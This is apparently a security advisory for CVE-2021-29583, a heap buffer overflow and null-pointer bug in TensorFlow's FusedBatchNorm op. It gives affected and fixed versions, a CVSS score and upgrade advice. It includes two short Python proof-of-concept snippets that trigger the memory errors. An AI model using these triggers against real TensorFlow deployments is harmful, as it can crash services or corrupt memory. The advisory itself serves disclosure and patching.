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CVE-2021-29583: Heap buffer overflow and undefined behavior in `FusedBatchNorm`

May 21, 2021 (updated November 13, 2024)

The implementation of tf.raw_ops.FusedBatchNorm is vulnerable to a heap buffer overflow:

import tensorflow as tf

x = tf.zeros([10, 10, 10, 6], dtype=tf.float32)
scale = tf.constant([0.0], shape=[1], dtype=tf.float32)
offset = tf.constant([0.0], shape=[1], dtype=tf.float32)
mean = tf.constant([0.0], shape=[1], dtype=tf.float32)
variance = tf.constant([0.0], shape=[1], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False

tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean, variance=variance,
epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)

If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:

import tensorflow as tf
import numpy as np

x = tf.zeros([10, 10, 10, 1], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False

tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean, variance=variance,
epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)

References

  • github.com/advisories/GHSA-9xh4-23q4-v6wr
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-511.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-709.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-220.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-9xh4-23q4-v6wr
  • nvd.nist.gov/vuln/detail/CVE-2021-29583

Code Behaviors & Features

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 7.8 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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Weakness

  • CWE-125: Out-of-bounds Read
  • CWE-476: NULL Pointer Dereference
  • CWE-787: Out-of-bounds Write

Source file

pypi/tensorflow-cpu/CVE-2021-29583.yml

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